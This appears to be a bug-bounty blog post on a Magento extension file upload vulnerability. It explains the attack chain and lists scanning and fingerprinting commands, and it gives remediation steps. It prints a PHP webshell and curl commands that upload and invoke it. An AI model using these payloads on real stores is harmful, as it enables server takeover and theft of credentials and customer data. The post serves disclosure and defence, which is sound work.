CVE-2026-53787 is a CVSS 9.8 unauthenticated arbitrary file upload vulnerability in Amasty Order Attributes for Magento 2. Versions before 4.0.0 allow unauthenticated attackers to write arbitrary files anywhere on the store’s filesystem. Combined with Magento’s PHP execution pathways, that’s a straight line to full server compromise.

Fix: upgrade to Amasty Order Attributes 4.0.0 or later.

What Amasty Order Attributes is

Amasty Order Attributes is one of the most widely installed Magento 2 extensions — it lets store owners add custom fields to the checkout process (gift messages, delivery instructions, special order notes, document uploads for B2B customers). It’s a premium commercial extension with tens of thousands of installs, common in mid-market and enterprise Magento deployments.

Extensions like this are interesting from a security standpoint because they’re installed on stores that have already received security attention for core Magento, but the extension ecosystem gets far less scrutiny. Sansec (who discovered this) regularly finds critical vulnerabilities in popular Magento extensions that affect large numbers of stores.

How unauthenticated file upload leads to RCE

Magento 2 stores handle file uploads in several places: product images, customer documents, order attachments. The typical implementation uploads files to pub/media/ or a subdirectory, validates content type and extension, and returns a path reference.

CVE-2026-53787 bypasses that validation at the extension level. The Amasty Order Attributes extension exposes a file upload endpoint for order attachment fields — but the endpoint doesn’t enforce authentication, allowing requests without a customer session.

The attack path:

  1. Attacker sends an unauthenticated POST to the Amasty file upload endpoint with a PHP webshell as the file payload (<?php system($_GET['cmd']); ?>)
  2. The extension writes the file to the Magento filesystem (pub/media/ or similar) without stripping the .php extension or rejecting executable content
  3. The file lands in a web-accessible directory
  4. Attacker requests the uploaded PHP file directly, achieving remote code execution in the context of the web server process (usually www-data or nginx)

At that point the attacker has a persistent shell on the server. Magento stores typically have database credentials in app/etc/env.php, payment processor API keys in configuration, and customer PII in the database — all accessible from an RCE foothold.

Fingerprinting vulnerable stores

Amasty extensions are identifiable through multiple signals. The challenge for bug bounty is that you need to determine whether a store is running a vulnerable version before you can report it.

Detecting Amasty Order Attributes:

# Amasty extensions register routes — check for the order attributes admin route
curl -s https://store.example.com/orderattributes/ -I
# 200 or 302 to login suggests the extension is installed

# Check pub/media for extension-specific directories
curl -s -I https://store.example.com/pub/media/amasty/

# Check for extension-specific JavaScript assets
curl -s https://store.example.com/ | grep -i 'amasty\|Amasty'

# Magento version and extension versions sometimes exposed in XML feeds
curl -s https://store.example.com/catalog_product_compare/index/

Identifying Magento stores at scale:

# Shodan query for Magento stores
shodan search 'http.component:"Magento"'

# Censys
censys search 'services.http.response.html_title="Magento"'

# BuiltWith / Wappalyzer for technology fingerprinting
wappalyzer https://store.example.com

Version detection:

# Magento version often exposed in pub/static paths
curl -s https://store.example.com/pub/static/version*/frontend/

# composer.lock or composer.json sometimes accessible
curl -s https://store.example.com/composer.json | python3 -m json.tool | grep -A2 amasty

# Check Magento admin panel version (if accessible)
curl -s https://store.example.com/admin/ | grep -i 'magento'

Versions of Amasty Order Attributes below 4.0.0 are vulnerable. If you can confirm the extension is installed and identify the version, that’s sufficient for a report without triggering the exploit.

What a complete exploit looks like (do not run on production)

For documentation purposes:

# Step 1: Upload PHP webshell via unauthenticated endpoint
curl -X POST https://store.example.com/orderattributes/upload/file \
  -F "[email protected];type=image/jpeg" \
  -F "param_name=order_file_field"

# Step 2: Access the uploaded file
curl "https://store.example.com/pub/media/amasty/upload/webshell.php?cmd=id"
# Returns: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Do not test this pattern on any in-scope target without explicit written authorization for file upload testing. The upload creates a persistent artifact on the target’s server even if you never execute it.

Why Magento extension bugs pay well

Bug bounty programs that include Magento storefronts often have payment-adjacent scope. A successful RCE on a Magento store means:

  • Access to app/etc/env.php (database credentials, encryption key for stored payment tokens)
  • Customer PII (names, addresses, order history)
  • Admin panel access if the web server account has write access to configuration
  • Potential payment processor API keys if stored in Magento config

Programs that include e-commerce infrastructure tend to rate this kind of finding at the top severity tier. Swiss Post E-Voting (€230k max) has broad infrastructure scope on Intigriti — check whether they operate any Magento properties.

ProgramMax bounty
Swiss Post E-Voting€230,000

Beyond named programs, Magento store owners in e-commerce sectors often have their own private programs or respond well to coordinated disclosure if no public program exists.

Remediation

Upgrade path:

  1. Upgrade Amasty Order Attributes to version 4.0.0 via Magento Marketplace or direct download from amasty.com
  2. After upgrading, verify the fix: attempt an unauthenticated POST to the file upload endpoint and confirm it returns 401/403

Check for existing compromise:

# Look for recently uploaded PHP files in media directories
find /var/www/html/pub/media/ -name "*.php" -newer /var/www/html/pub/media/ 2>/dev/null
find /var/www/html/pub/media/ -name "*.phtml" -newer /var/www/html/ 2>/dev/null

# Check access logs for POST requests to upload endpoints
grep "POST.*orderattributes.*upload" /var/log/nginx/access.log | tail -50
grep "POST.*orderattributes.*upload" /var/log/apache2/access.log | tail -50

# Check for unexpected PHP files in upload directories
find /var/www/html/pub/media/amasty/ -type f -name "*.php"

Interim mitigations before upgrading:

  • Block POST requests to the Amasty upload endpoint via WAF or nginx rules
  • Add .php execution denial for the entire pub/media/ directory tree in your web server configuration (this should be standard practice on all Magento installs):
# nginx: prevent PHP execution in media directory
location ~* /pub/media/.*\.php$ {
    deny all;
}

This nginx rule doesn’t fix the underlying upload vulnerability but prevents the uploaded webshell from executing, which breaks the RCE chain even if the file gets written.

References

For broader CVE-to-bounty workflows, the CVE opportunity analysis for June 2026 shows how to find and prioritize findings like this as they drop. A complete list of scanning and exploitation tools that complement this testing approach is in the best bug bounty tools roundup for 2026.